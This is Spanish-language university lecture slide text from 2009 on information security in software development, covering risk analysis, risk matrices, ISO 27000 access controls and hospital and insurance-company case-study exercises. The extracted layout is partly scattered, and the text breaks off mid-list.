Seguridaden el Desarrollo de
Software
M.C. Juan Carlos Olivares Rojas
Noviembre 2009
Agenda
• Principios de seguridad informática.
• Definir y seguir las mejores prácticas de diseño.
• Análisis de riesgos.
• Creación
de
herramientas y
consumidores.
documentos
seguros,
mejores prácticas para
Agenda
• Políticas de código seguro.
• Políticas de prueba segura.
• Planeación de respuestas de seguridad.
• Modelos de Control de acceso basado en roles.
Pendientes
• Lunes 7: patrón de diseño para brindar mayor
seguridad a las aplicaciones. (implantación de
una herramienta de seguridad –opcionalmente)
• Jueves 10: programación de un videojuego.
• Lunes 14: nivelaciones unidad 1,2 y 3. Entrega
de examen unidad 4: reestructuración de una
aplicación Web para brindar “contabilidad” y
mejores controles de acceso.
¿Qué es la seguridad?
• El término seguridad proviene del latín
securitas. Se refiere a la seguridad como la
ausencia de riesgo o también a la confianza en
algo o alguien.
• Otras definiciones de seguridad:
– Mecanismos de control que evitan el uso no
autorizado de recursos.
– Protección de información (datos) de daño
intencionado o accidental
Seguridad
• Los requisitos básicos de seguridad en TICs
son:
•
•
•
•
•
•
•
Autenticación
Control de Acceso
Confidencialidad
Integridad
No repudio
Disponibilidad
Privacidad
Evolución de la seguridad
• Al inicio de la computación, al sólo existir pocas
máquinas y pocos usuario la seguridad era
prácticamente nula ya que se tenía confianza
plena en las personas.
• Al popularizarse la computación personal trajo
consigo que muchas personas pudiesen
manejar computadoras. Esto originó que se
dejará de confiar en las personas (diferencia
entre vivir en un pueblo chico y uno grande).
Evolución de la Seguridad
• Hasta este momento la seguridad era aun
controlable. Con la llegada de redes de
computadoras (LAN) y el acceso a redes
externas (WAN) como Internet el problema se
agravó exponencialmente.
• Actualmente es cada vez mayor la cultura con
respecto a la seguridad de las tecnologías de la
información.
Evolución de la Seguridad
• En un principio cuando las empresas
empezaron a considerar a las TICs como
factores claves de éxito fue necesario que
hubiese una persona encargada de la
seguridad de dichos activos (1970s).
• En la década de 1980 fue necesaria la creación
de grupos de trabajos de seguridad dentro de
las empresas. Para la década de los 2000 la
seguridad es cosa de todos los miembros.
Los grandes problemas
• ¿Cuál es el elemento más importante en una
oganización? Los activos, principalmente
activos de información.
• ¿cuál es el principal activo en una firma como
AT&T, Telmex, etc.?
• Cobre en 1976 60%
• Cobre, Fibra e Infraestructura 30% aprox. en
2008.
Los grandes problemas
• ¿Dónde está el demás dinero?
• Sistemas de Información
• ¿Cúal es el activo más importante en CocaCola?
• La fórmula secreta. Es la misma desde 1886,
sólo 3 personas la conocen en el mundo.
• Esta fórmula está protegida como secreto
comercial.
Los grandes problemas
• El principal problema con la seguridad en TICs
es que vivimos en una sociedad de información
(conocimiento) donde está representa poder y
el poder se ve reflejado en muchos factores,
principalmente dinero.
• En México el 30% de los encargados de
seguridad informática nunca se reúne con los
altos directivos para hablar del aseguramiento
de los activos de información.
Problemas de Seguridad
• Prncipales mitos de la seguridad en TICs:
• Ya compramos
seguridad ¿no?.
un
Firewall,
ya
tenemos
• Manejar el oscurantismo de lo inesperado.
• Nunca ha pasado nada, o al menos no nos
hemos dado cuenta.
Problemas de Seguridad
• No estoy en Internet, no necesito seguridad.
• Mis empleados son gente de confianza!!!
• Ver el problema de la seguridad como un
problema tecnológico.
• La seguridad es relativa. Lo único seguro es la
muerte y los impuestos.
Problemas de Seguridad
• El 1 de Mayo de 2004, el gusano Sasser
una semana infectó a 18 millones
computadoras en el mundo, trajo a miles
negocios de rodillas y costó un estimado
3,500 millones de Dólares.
en
de
de
de
• Algunas estadísticas en cuestión de problemas
de seguridad son:
• 32% de la pérdida de datos es causada por
errores humanos.
Problemas de Seguridad
• 25% de la pérdida de datos se deben a fallas
físicas
• 15% de la pérdida de datos es por la pérdida o
robo del activo de información.
• La seguridad debe verse como una inversión
no como un gasto. Es cierto que la seguridad
es costosa pero es más costosa la inseguridad.
“Ninguna medicina es útil si el paciente no la
toma”
Problemas de Seguridad
• La seguridad en TICs no solo afecta a recursos
computacionales, sino a cualquier activo de
información de la empresa. Los activos pueden
ser:
• Información propiamente tal : bases de datos,
archivos, conocimiento de las personas.
• Documentos: contratos, manuales, facturas,
pagarés, solicitudes de créditos.
Problemas de Seguridad
• Software: aplicaciones, sistemas operativos,
utilitarios.
• Físicos: equipos, edificios, redes
• Recursos humanos: empleados internos y
externos
• Servicios: electricidad, soporte, mantención.
Organismos internacionales
• Existen muchas organizaciones internacionales
encargadas de la seguridad informática entre
las principales destacan: ISO, IEEE, ACM,
ISACA (Information System Audit and Control
Association), ALSI (Academia Latinoamericana
de Seguridad Informática).
• Dichos organismos se encargan de regular
“mejores prácticas” (estándares, metodologías,
guías base, etc.) en cuestión de seguridad
informática.
Normatividad en seguridad
• Una de las responsabilidades de la
administración de la función informática
(administración de TICs) es garantizar la
seguridad de los activos de información.
• El proceso de aseguramiento de los activos de
información sigue una serie de pasos comunes:
• Identificación de activos de información y
priorización de los mismos.
Normatividad de Seguridad
• Se debe evaluar el activo para ver si merece la
pena implementar controles de seguridad.
• Se debe de guiar el trabajo a través de una
normatividad o estándares los cuales nos
indicarán: Qué trabajo hay que hacer, Quién lo
debe hacer, Cuándo se hará y con qué
frecuencia.
• Los estándares deben de ser claros (se deben
adaptar a las necesidades internas)
Normatividad en Seguridad
• No se puede administrar lo que no se puede
medir, es una de las máximas premisas de la
administración. La seguridad debe de poderse
cuantificar su desempeño en términos objetivos
y tangibles.
• Después de medir hay que evaluar el
desempeño e indicar que acciones se deben de
tomar.
Normatividad en Seguridad
• El componente crítico en todo sistema es el
usuario y la seguridad no es la excepción.
• ¿De qué sirve tener todo un sistema de
seguridad avanzada en una casa si el usuario
deja su llave pegada a la puerta (o su
contraseña pegada al monitor de su
computadora)?
• Se debe capacitar a los usuarios.
Normatividad de Seguridad
• La gran mayoría de los incidentes de seguridad
ocurren desde dentro, teniendo el mito que es
más frecuente hacia el exterior.
• La mejor forma de garantizar seguridad es a
través de la planeación.
• La planeación se compone de tres fases:
estimación, itinerario y seguimiento.
Normatividad de Seguridad
• Existen dos enfoques de seguridad:
• En el discrecional, los usuarios tienen
derechos de acceso diferentes (privilegios)
por lo tanto son muy flexibles
• El control obligatorio, cada objeto está
etiquetado con un nivel de clasificación y a
cada usuario se le da un nivel de
acreditación. Son sistemas jerárquicos y
rígidos.
Normatividad de Seguridad
• La autenticación es el proceso que consiste
en verificar que el usuario es quién dice ser.
• La autorización es el proceso para que un
usuario pueda realizar una acción.
• Registro de auditoría es un archivo o base de
datos en el que el sistema lleva la cuenta de
las operaciones realizadas por los usuarios.
Normatividad de Seguridad
• Los controles de acceso obligatorio se rigen
en base al principio de Bell-LaPadula:
• El usuario i puede recuperar el objeto j sólo si
el nivel de acreditación de i es mayor o igual
al nivel de clasificación de j (“propiedad de
seguridad simple”).
Normatividad de Seguridad
• El usuario i puede actualizar el objeto j sólo si
el nivel de acreditación de i es igual al nivel
de clasificación de j.
• Los controles de acceso se dividen en 4: D,
C, B y A.
• Donde D es la protección mínima, C es
discrecional, B es obligatoria y A es
verificada.
Nomrmatividad de Seguridad
• Dentro de C, se encuentran los niveles C1
(menos segura) y C2.
• DOS está clasificado en D
• ¿Qué es más seguro Windows o Linux?
• Linux C1
• Windows C2
Seguridad Física
• No sobrecargar los circuitos eléctricos y
cordones de extensión. Asegurarse que el
voltaje combinado no exceda la capacidad de
los circuitos.
• Tener un extintor de fuegos tipos C.
• No utilizar ningún tipo de electrodoméstico
dentro del site.
Seguridad Física
• No tomar líquidos dentro del site.
• No fumar.
• Tener letreros de seguridad.
• No situar equipos en sitios altos para evitar
caídas. No colocar equipos cerca de
ventanas.
Seguridad Lógica
• La seguridad lógica está encargada de proveer
una serie de controles que ayuden a asegurar
los activos de información
• Ejemplo: un acuerdo en papel por el cual un
usuario que desea obtener un bien o servicio
de la compañía está de acuerdo en su uso y
respeta lo estipulado.
Seguridad del Personal
• El recurso humano o capital intelectual es de
suma importancia y garantizar su seguridad
física en entornos donde la tecnología ayuda
en los procesos de negocio es vital.
• Todos los controles deben de tener indicado la
forma en que deben de ser utilizados por los
miembros de la organización.
Usuarios y grupos. Roles
• En muchos sistemas se requiere de la
autenticación y autorización de los usuarios
para acceder a los recursos del sistema. A este
tipo de mecanismos se les llama controles de
acceso.
• No sólo se deben indicar usuarios y roles a
nivel de sistema de cómputo sino que deben de
estar a nivel organizacional.
Usuarios y Grupos. Roles
• Los roles son el papel o conjunto de privilegios
que tiene un usuario o grupo.
• Se recomienda no manejar cuentas genéricas
ni contraseñas cortas. Aunque esto se
determina en las políticas de controles de
acceso. Otros factores a determinar son por
ejemplo la frecuencia del cambio de la
contraseña.
Usuarios y Grupos. Roles
• Aquí son muy importantes los controles
administrativos dado que se debe deslindar
responsabilidades a los usuarios.
• Se debe hacer distinción entre los dueños,
custodios y usuarios del activo de información.
• Así por ejemplo un usuario es responsable de
su contraseña de usuario y no el administrador
del sistema
Intrusos
• Se considera intruso a toda aquella persona o
software que entra al sistema sin autorización.
• Las intrusiones a los sistemas de cómputo son
uno de las principales incidentes de seguridad.
• La
intrusión
viola
el
principio
de
confidencialidad de la información pudiendo
alterar la integridad y disponibilidad del recurso.
Código malicioso
• Se considera código malicioso a todo aquel tipo
de software que con o sin la ayuda de un
humano intenta vulnerar huecos de seguridad
en un sistema.
• La información puede ser atacada de la
siguiente
forma:Intercepción,
Interrupción,
Modificación y Fabricación.
Amenazas de Seguridad
• Los ataques pueden ser:
• Ataques pasivos
• Ataques activos
•
•
•
•
Ingeniería Social
Gusanos
Troyanos
Adware
Amenazas de Seguridad
•
•
•
•
•
•
Virus informáticos
Spyware
Dialers
Exploit
Bots
Pharming
Amenazas de Seguridad
• Backdoor
• Bomba fork
• Keystroke o Keyloggers
• Párasito Informático
Amenazas de Seguridad
•
•
•
•
•
•
•
•
•
Phishings
Pornware
Rabbit
Rootkit
Spam
Pop-Ups
Bomba Lógica
Cookies (Malas)
Trampas y/o Inocentadas
Mecanismos de Seguridad
• Cifrado
• Autorización
• Autenticación
• Auditoría
Mecanismos de Seguridad
• Derecho a la intimidad
• Elaboración de perfiles
• Dispositivos biométricos
• Uso de VPN
• Uso de certificados de autoridad
Mecanismos de Seguridad
• Antivirus
• Firewall
• Anti-Spyware
• Anti-Rootkits
• Parches (Service Pack)
• Configuraciones
• Trucos, Trucos y más trucos
Mecanismos de Seguridad
• Hacer copias de seguridad
• Habilitar las zonas de seguridad
• Utilizar antivirus y dos firewalls*
• Control para padres
• Utilización de sockets seguros (SSL)
Mecanismos de Seguridad
• Emplear claves difíciles de acordar.*
• Comprobar el estado del sistema operativo.
• Comprobación del estado del hardware
• Evitar descargas de archivos.
• IDS Sistemas Detector de Intrusos
• Utilización de Proxys
Espionaje
• El espionaje es considerado otro tipo de
incidente de seguridad caracterizado por la
intrusión de un agente externo al sistema para
el robo de información.
• El espionaje es difícil de detectar y puede
ocurrir en una infinidad de niveles.
Piratería
• La piratería es considerada un incidente más
de seguridad y tiene dos vertientes.
• La primera vertiente está enfocada al hecho de
que utilizar software pirata hace más vulnerable
a nuestros sistemas.
• Por otra parte nos exponemos a problemas de
licenciamiento que pueden contribuir a la no
disponibilidad de un servicio o proceso de
negocio.
Síntomas de Riesgo
• Un síntoma es la salida de una función normal
que indica una posible anormalidad. Un
síntoma es subjetivo, es observado por el
paciente y no medible
• Los síntomas pueden ser crónicos, retardados
o esporádicos. Se pueden mejorar o empeorar.
• Un signo es notificado por otras personas
Administración de Riesgos
• La administración de riesgos es una etapa
crucial para el aseguramiento de los activos de
información.
• La administración de riesgos incluye la
detección de riesgos y el control de los mismos.
• ¿Qué es el riesgo?
• Es la probabilidad de que una actividad no
deseada ocurra.
Administración del Riesgo
• Todas las actividades tienen riesgo. No existe
una actividad 100% ni 0% riesgosa.
La vulnerabilidad
• Es un factor interno caracterizado por un hueco
de seguridad (una debilidad del sistema) que
puede ser aprovechada por una amenaza.
• Las vulnerabilidades deben ser los elementos
que deban atender los controles de seguridad
para asegurar a los activos de información.
Las amenazas
• Son factores externos que pueden aprovechar
las vulnerabilidades de un sistema para
exponer a un activo de información.
• Las amenazas son más difíciles de prevenir
dado que ya no podemos anticiparnos del todo.
• Los controles tienden a
amenazas y vulnerabilidades.
minimizar
las
Los ataques
• Se dan cuando se combina una amenaza con
una vulnerabilidad.
• Los ataques son cuantificados al impacto que
pueden producir, generalmente expresados en
dinero.
• El impacto puede darse por ejemplo al no tener
un recurso disponible causando pérdidas
económicas al no poder trabajar o bien un daño
de imagen social.
Administración del Riesgo
¿Cuál es
la
probabilida
d de que
este
evento
ocurra?
Los riesgos
• Calculado por el producto de la probabilidad de
ocurrencia de la amenaza vs los impactos que
tendría el activo de materializarse dicha
amenaza.
• Los riesgos generalmente son calculados a
nivel estadístico como el número de frecuencia
en que ha ocurrido un evento contra el número
total de eventos disponibles.
Evaluación del Riesgo
• Existen muchas metodologías para calcular el
riesgo. Todas ellas dependen de los usuarios.
• Los riesgos se calculan en tres niveles: alto,
medio y bajo.
• Los riesgos son calculados por dimensiones
como impacto y frecuencia de ocurrencia.
Evaluación del Riesgo
Modelado de Riesgos
Protección
contra
Controles
Amenazas
Explotan
Vulnerabilidades
Exponen
Reduce
Activos
Riesgo
Tiene
Implementan
Requerimientos de seguridad
Valor del activo
Impacto en la organización
Modelado de Riesgos
• Deben intervenir además del personal de
seguridad, los dueños, custodios y usuarios de
los activos de información.
• Existen dos tipos de análisis de riesgo: Existen
dos tipos de análisis de riesgos:
• Cualitativo y cuantitativo.
Modelado de Riesgos
Ventajas
Cuantitativo
Cualitativo
 Se asignan prioridades a
los riesgos según las
repercusiones financieras;
se asignan prioridades de
los activos según los
valores financieros.
 Los resultados facilitan la
administración del riesgo
por el rendimiento de la
inversión en seguridad.
 Los resultados se pueden
expresar en términos de
negocio (ejemplo: perdidas
financieras, costos anuales)
 La precisión tiende a
incrementarse
con
el
tiempo a medida que se
gana experiencia y se
acumula
información
histórica.
 Permite la visibilidad y la
comprensión
de
la
clasificación de riesgos.
 Resulta más fácil lograr el
consenso.
 No
es
necesario
cuantificar la frecuencia de
las amenazas.
 No
es
necesario
determinar
los
valores
financieros de los activos.
 Resulta
más
fácil
involucrar a personas que
no
sean
expertas
en
seguridad o en informática.
Modelado de Riesgos
Desventajas
Cuantitativo
Cualitativo
 Los valores de impacto
asignados a los riesgos se
basan en las opiniones
subjetivas
de
los
participantes.
 Los
procesos
para
alcanzar el consenso y
resultados
creíbles
consumen mucho tiempo.
 Los cálculos pueden ser
complejos y lentos.
 Los resultados sólo se
presentan
en
términos
monetarios y pueden ser
difíciles de interpretar por
algunas personas.
 El
proceso
requiere
experiencia,
los
participantes no pueden ser
educados con facilidad a
través del proceso.
 No hay una distinción
suficiente entre los riesgos
importantes.
 Es difícil de justificar la
inversión
en
la
implementación
de
los
controles debido a que no
hay bases de un análisis
costo-beneficio.
 Los resultados dependen
de la calidad del equipo que
este trabajando en el
proceso.
Matriz de Riesgos
Nivel
Alto
Definición de Ocurrencia
La amenaza tiene una gran
probabilidad de ocurrencia, y
los controles que previenen
esta vulnerabilidad son
inefectivos.
Medio
La amenaza tiene
probabilidad de ocurrencia,
pero los controles actuales
pueden impedir que se
explote dicha vulnerabilidad.
Bajo
La amenaza es de muy baja
probabilidad o los controles
Matriz de Riesgos
Magnitud del Impacto
Definición del Impacto
Alto
Si se explota la vulnerabilidad:
1.Existe una pérdida monetaria de los
activos tangibles o recursos más
importantes de la empresa
2.Se ve afectada la misión, reputación
o interés de la empresa
3.Existen pérdidas humanas o
lesiones mayores
Medio
Si se explota la vulnerabilidad:
1.Puede resultar en la pérdida
monetaria de activos o recursos
2.puede violar o impedir la misión,
reputación o interés de la empresa
3.Puede resultar en una lesión
Bajo
Si se explota la vulnerabilidad:
1.Puede resultar en la pérdida de
algunos recursos o activos
2.Puede llegar a afectar de manera
casi imperceptible la misión,
reputación o interés de la empresa
Matriz de Riesgos
Nivel de Riesgo
Impacto
Vulnerabilidad
Muy Alto
Alto
Alto
Alto
Alto
Medio
Alto
Medio
Alto
Medio
Alto
Bajo
Medio
Medio
Medio
Medio
Medio
Bajo
Medio
Bajo
Alto
Medio
Bajo
Medio
Bajo
Bajo
Bajo
Matriz de Riesgos
WEB
Server
Acceso no
autorizado
B
A
M
Se puede presentar el caso en el
que personal no autorizado
accese al equipo a nivel hardware
o software durante el trayecto del
Servicio hacia el sitio del Cliente,
por lo cual impactaría en el
desempeño adecuado del activo.
Front
END
Server
Falla de Hardware
M
A
A
Puede presentarse el caso en
que alguna de las partes del
activo funcione en forma
deficiente, con lo cual afectaría en
su funcionamiento general y
afectaría también al
aprovisionamiento adecuado del
servicio.
WEB
Server
Negación de
Servicio
A
A
MA
Puede presentarse un ataque
DoS dada la popularidad del sitio
y la falta de controles para mitigar
este ataque, si deja de responder
el servicio causaría daños graves
financieros y de imagen
Reglas del Negocio
Ejemplos más estructurados:
Reglas de Operación
- 24x7 monitoreo y atención a fallas
- Equipo y solución de filtrado operada en
XYZ por el equipo de Operaciones
- Cliente dueño de la cuenta, tiene privilegios
para realizar cambios a los perfiles de sus
usuarios vía el WEBKIT
- Filtrado esta dentro de la solución de los
switches de Cache
- Perfiles definidos por el usuario no pueden
cambiar ni modificar los perfiles. Tampoco
pueden solicitar apoyo para cambiar perfiles,
solo el usuario administrados puede hacer
esto.
Atención a Clientes
- Solamente el dueño (administrador) de la
cuenta puede pedir cambios
- Soporte por medio del centro de atención
para clientes de Internet Dial-Up
Facturación
- Facturación plana, adicional a la cuota de
Dial-Up
- Puede ofrecerse un mes de prueba gratis
- Ajuste proporcional al tiempo que se utilizo
cuando no entra la solicitud en los ciclos de
facturación
Entrega de Servicios
- Entrega hecha por parte de TMK (adicional
a Dial-Up cuando se solicite en conjunto)
- No requiere configuración del lado del
cliente
- Cliente se le da una clave de acceso para
configurar los accesos adicionales con los
68
perfiles que el requiera.
Simuladores de Riesgo
• Seguros de Vida:
• 194.224.248.32/simuladores/ *
•
•
•
•
Simuladores de Negocios:
http://www.gameonsoftware.com/index.htm
http://www.beer-war.com/ *
http://www.riskybusiness.com/
Pasos Recomendados en una
Estrategia de Seguridad
Evaluación de Activos
Caso 1
• El Hospital “Santa Cecilia”, el cual cuenta con
más de 100 años de operación en la ciudad de
Monterrey. Cuenta con tres hospitales satélites
en donde se atienden urgencias y medicina
familiar.
• Desde hace dos años implementó un sistema
para sistematizar las historias clínicas de sus
pacientes. Al momento llevan un 30% de
avance en la captura de esa información, por lo
que existe todavía gran cantidad de
información en archivos de papel.
Caso 1
• El Hospital cuenta con más de 300 equipos de
cómputo conectados a través de su red local,
los cuales mantienen estrecha comunicación
con el equipo central.
• Así
mismo
maneja
conexiones
con
aseguradoras para la transferencia de
información referente a trámites de sus
pacientes.
Caso 1
• Hace cinco años el hospital se conectó a
Internet, ya que esto facilitaba la comunicación
con sus clientes y proveedores.
• Existen canales de comunicación tales como el
correo electrónico y mensajería, por donde
fluye todo tipo de información (incluyendo la
transferencia de archivos).
Caso 1
• A mediados del año pasado lanzó su portal del
área de laboratorio y check up, con lo cual sus
clientes pueden acceder a sus resultados de
laboratorio y enviárselos a su doctor.
• Dentro de los planes de expansión, el hospital
está considerando asociarse con la Clínica
Mayo con el fin de transferir tecnología y
establecer acuerdos de investigación.
Caso 1
• Actualmente el Hospital cuenta con un Centro
de Investigación líder a nivel mundial en
Neurocirugía y cuenta con dos investigadores
que han ganado premios Nobel por las
investigaciones realizadas en este campo. Esto
le ha dado una ventaja competitiva a este
hospital.
• En los próximos meses se empezará a realizar
un reemplazo de equipo de cómputo y se
necesita tomar una decisión sobre como
disponer del equipo viejo.
Actividad 1
• En base al caso anterior realizar un análisis de
riesgo. Se deberá utilizar la metodología
anteriormente descrita.
• Para cada activo de información presentar
posibles controles a implementar para mitigar.
• Existen metodologías más robustas y
complejas como Cobra para la administración
del riesgo.
Los recursos a proteger
• Los recursos a proteger son muy variados.
• El análisis de riesgos es una herramienta que
nos va a permitir tomar mejores decisiones
sobre que activos de información se deben de
proteger y en que orden.
• En algunas ocasiones se revisa el control
interno de la organización para determinar el
valor de sus activos.
Control de acceso
• Es una tecnología, política, proceso o
procedimiento que contrarresta una amenaza y
por consecuencia mitiga los riesgos asociados
a un activo.
• Los controles de acceso se encargan de
asegurar que los activos de información los
utilicen quien debe de utilizarlos. Nótese que no
se valida su correcto funcionamiento.
Controles de A. ISO 27000
• A.11.1 Business requirement for access control.
Objetivo: una política de control de acceso
debe ser establecida, documentada y revisada
en base a los requerimientos de negocio.
• A.11.2 User access management Los temas
que se norman en términos generales son:
Habilitación de cuentas y registro de usuarios,
mediante un proceso formal y expedito que
incluya: altas, bajas, suspensiones y cambios
de los mismos…
Controles de Acceso
• A.11.3 User responsibilities
• Objetivo: Prevenir acceso no autorizado y evitar
comprometer o el robo de información: Uso de
contraseñas, se deben seguir las mejores
prácticas en la selección y uso de contraseñas.
Escritorio limpio y equipo no atendido, los
usuarios deben guardar en forma segura la
información crítica del negocio que esté en
cualquiera de sus.
Control de Acceso
• A.11.5 Operating system access control
• Los accesos específicos a los sistemas
operativos de la infraestructura de TI deben ser
controlados
por
procedimientos
de
identificación y autenticación robustos, se debe
minimizar el desplegar una vez que los
usuarios tienen acceso a
estos sistemas
información del tipo y versión del sistema
operativo para evitar brindar información
innecesaria…
Control de Acceso
• A.11.6 Application and information access
control: El acceso a la información y sistemas
de información ya sea por usuarios o personal
de soporte debe ser restringido de acuerdo con
el proceso de asignación de privilegios. La
infraestructura de cómputo de los sistemas de
información con información sensitiva debe ser
separada para evitar accesos no autorizados.
Se debe limitar y registrar el número de
intentos fallidos de conexión de los usuarios de
los sistemas de información.
Base Line
• Un base line es un conjunto de reglas
establecidas que forman una base de normas o
prácticas sobre un proceso o sistema.
• Estas normas o prácticas son establecidas
normalmente como una base de comparación
entre organizaciones o empresas para verificar
un nivel de cumplimiento.
Base Line
• Para poder establecer un base line, se
requieren varios elementos:
• basarse en algunos estándares internacionales
o mejores prácticas,
• normas publicadas por algunas organizaciones
reconocidas internacionalmente y
• experiencias obtenidas por la práctica en las
organizaciones.
Base Line
• Establecer un base line en seguridad de
información, requiere mucha experiencia y
madurez, no es muy práctico solo “copiar” base
line de otras organizaciones dado que cada
organización es diferente, tiene necesidades
diferentes de acuerdo a sus niveles de
madurez y necesidades.
• Generalmente están listados en orden de
importancia aunque pueden no serlo.
Base Line Control Acceso
• Para cada activo de información y sistema de
información debe existir una bitácora externa al
mismo para el registro de usuarios autorizados
para acceder a los mismos.
• Debe establecerse procedimientos para
verificar que el nivel de acceso concedido es
apropiado para el propósito de negocio y que
sea consistente con la directriz de control de
accesos
Base Line Control de Acceso
• El procedimiento de creación de usuarios debe
indicar como se otorga la autorización
requerida antes de otorgar el acceso solicitado.
• El formato de solicitud de autorización para dar
de alta o modificación de un usuario a un activo
con los siguientes campos:
– Nombre del usuario
– Sistema o aplicación al cual requiere acceso,
revocación o modificación.
Base Line Control de Acceso
– Organización a la que pertenece
– Privilegios solicitados
– Gerencia que solicita el acceso
• El usuario final que se le brinda el acceso debe
recibir una notificación
con el permiso
otorgado, privilegios y responsabilidades
asociadas a la cuenta o en su defecto la razón
por la que fue denegado el acceso
Base Line Control de Acceso
• Se debe asegurar no proporcionar accesos
hasta no completar los procedimientos de
autorización establecidos.
• Se debe mantener un registro formal de todas
las personas registradas con derecho a usar
los activos de información o sistemas de
información.
Base Line Control de Acceso
• La autorización del acceso al sistema debe
realizarse por el administrador de a cargo de la
custodia del activo de información o sistema de
información y debe registrarse en la bitácora de
usuarios autorizados
• La bitácora de registro de usuarios debe tener
al menos los siguientes campos:
– Nombre usuario
– Organización a la que pertenece
– Identificador del usuario en el sistema
Base Line Control de Acceso
– Grupo al que pertenece (en caso
que los
privilegios se administren por grupo)
– Rol del usuario en el sistema: Administrador,
Desarrollador de software, Operador de respaldo,
etc.
– Usuario de aplicación
– Privilegios otorgados en el sistema o aplicación
– Fecha en que fueron otorgados
– Estado actual del usuario
– Fecha del último cambio en los accesos
– Persona que autorizó la creación de usuario y los
privilegios otorgados
Base Line Control de Acceso
• En el caso que un activo de información o
sistema de información se entregue en custodia
a una determinada organización se debe firmar
una carta responsiva en la cual acepta la
responsabilidad de la custodia del activo de
información así como de las operaciones
autorizadas a ejecutar
Base Line Control de Acceso
• La organización usuaria debe notificar al
custodio del activo de información o del sistema
de información cuando un usuario haya
cambiado de rol o haya salido de la compañía
para la revocación inmediata del acceso.
• Se debe remover inmediatamente los derechos
de acceso cambiado de área de trabajo o
abandonado la organización.
Base Line Control de Acceso
• Se debe de verificar periódicamente las
cuentas de los usuarios y remover aquellos
identificadores de usuarios que resulten
redundantes.
• Métricas:
• Número de Altas y Bajas de usuarios
• Número de autorizaciones para dar de alta o
modificación de un usuario a un activo de
información
• Número de usuarios con acceso permitido.
Detección de intrusos
• La detección de intrusos es una actividad díficil
de llevarse acabo.
• Se puede realizar la detección de intrusos con
herramientas como la auditoria, los controles
de acceso entre otras.
• Más que la detección
aseguramiento del activo.
nos
interesa
el
Detección de código malicioso
• La detección de código malicioso también es
una actividad complicada de llevar acabo dado
que no tenemos la certeza de las actividades
que va a realizar un software hasta que este se
ejecuta.
• Basándose en ese principio nuestra seguridad
está condicionada a los efectos visibles
(patrones o firmas) que se presenten y aun
conociéndolos no tenemos la certeza absoluta
que pueda ser malicioso.
Ejercicio de Análisis de Riesgos
• Resolver los siguientes problemas por parejas,
realizar una exposición en la que se de
solución al problema.
• ¿Qué métricas permitirían ver que tan efectivo
es el control implementado?
• Entrega próximo sábado.
Ejercicio 2
• Entre los incidentes más recientes en el
Hospital Santa Cecilia se cuentan los
siguientes:
• Se han detectado numerosos equipos a los
cuales los empleados le han instalado
aplicaciones como “Hotbar” y “Messenger
Plus”. Otros tienen instalados utilerías que les
permiten ver la temperatura de la ciudad en
su desktop. Sin embargo, estas aplicaciones
son “shareware” y no están soportadas.
Ejercicio 2
• Se han reportado clientes del hospital
notificando la recepción de un mail con una
liga que les solicita la actualización de los
datos para ingresar al portal del Laboratorio.
El hospital nunca ha enviado mensajes de
ese tipo.
• Su portal de banca electrónica estuvo
sobrecargado
durante
dos
días
imposibilitando a sus clientes acceder al
mismo.
Ejercicio 2
• Existe software no licenciado instalado en los
equipos del hospital.
• Un empleado de sistemas fue despedido y en
represalia copió el archivo de contraseñas de
acceso al sistema de información de
pacientes.
• Se detectó virus en diversos equipos a pesar
de contar con software antivirus instalado.
Ejercicio 2
• Se han detectado accesos no autorizados a
los sistemas.
• ¿Qué eventos de los explicados en la sesión
han afectado al hospital?
• ¿Con base en tu experiencia que harías para
corregir esta situación?
Ejercicio 3
• Identifica qué principio y activo es el más
importante para cada una de las siguientes
organizaciones. Justifica tu respuesta.
•
•
•
•
•
Secretaría de Hacienda
Ejército
Empresa farmacéutica
Amazon.com
Sistema de Escolar de una Universidad
Ejercicio 3
•
•
•
•
•
Sistema de emergencias telefónica 066
Su equipo de cómputo personal.
Banco
Carrier de telecomunicaciones.
Coca Cola.
Ejercicio 4
• La empresa Alfa-2030 ha estado trabajando
en los últimos años desarrollando servicios
on-line de seguros de todo tipo para
empresas. Su negocio está basado en
transacciones en Internet a través de su
portal de Internet donde los clientes realizan
todas sus transacciones como contratación
de los seguros, pagos electrónicos en línea,
renovaciones, reclamaciones, cancelaciones,
etc.
Ejercicio 4
• Esta empresa ha experimentado desde hace
meses ciertos incidentes en materia de
seguridad de información, que a continuación
se describen:
• Recién se ha creado el equipo de seguridad
de información de la empresa, sus procesos
operativos de Seguridad son incipientes
(respaldos de información, manejo de
capacidad, controles de acceso lógico, etc.).
Ejercicio 4
• La tecnología para proteger la seguridad de
información ha estado poco ausente de
hecho este equipo de Seguridad ha iniciado
con planes de adquirir tecnologías.
• El presidente de la empresa ha solicitado a
un experto en seguridad de información que
estime los riesgos para cada una de las
siguientes amenazas:
Ejercicio 4
• Acceso no autorizado a la información de los
clientes.
• Software malicioso que afecte
principales sistemas de la empresa
a
los
• Denegación de servicios a su portal de
Internet
Ejercicio 4
• A partir del caso anterior, escriba un reporte
donde determine los riesgos (niveles) para
cada una de las amenazas descritas, tendrá
que justificar sus respuestas en cuanto a
describir las vulnerabilidades y sus impactos.
• De manera adicional, escriba un reporte,
donde mencionen al menos 5 controles de
Seguridad de información que mitiguen las
amenazas descritas en este caso.
Ejercicio 5
• La empresa Alfa-2030 ha decidido iniciar con
un programa formal de Seguridad de
información como una función importante y
su propio presupuesto en la organización,
Ricardo Aranguren ha sido nombrado como
Director de Seguridad de Información
dependiendo en forma directa de la Dirección
General, de momento sólo se la ha asignado
a tres personas para esta nueva función.
Ejercicio 5
• Lo primero que la dirección general le ha
solicitado al Director de seguridad de
información es establecer una política
específica del uso del e-mail dado que han
ocurrido últimamente incidentes en el mismo
tales como virus y gusanos que han causado
pérdidas al negocio, además hay personal
que al parecer abusa de este servicio
haciendo mal uso del mismo.
Ejercicio 5
• Escribe un reporte con está política
especifica con un mínimo de 6 párrafos
(cuerpo de la política). Asegúrate que este
documento contenga estas secciones:
•
•
•
•
•
Antecedentes
Objetivo
Cuerpo del documento
Responsabilidades
Definición de términos
Ejercicio 6
• La empresa Alfa-2030 ha estado trabajando
en los últimos años desarrollando servicios
on-line de seguros de todo tipo para
empresas. Su negocio está basado en
transacciones en Internet a través de su
portal de Internet donde los clientes realizan
todas sus transacciones como contratación
de los seguros, pagos electrónicos en línea,
renovaciones, reclamaciones, cancelaciones,
etc.
Ejercicio 6
• El Director general ha solicitado realizar un
plan de trabajo para desarrollar los
procedimientos operativos de Seguridad de
información para su portal de Internet.
• Se debe realizar un reporte que seleccione la
prioridad del desarrollo de los siguientes
procedimientos operativos (justifiquen su
respuesta):
Ejercicio 6
• Procedimientos de respaldos de Información
• Procedimientos de control de acceso lógico a
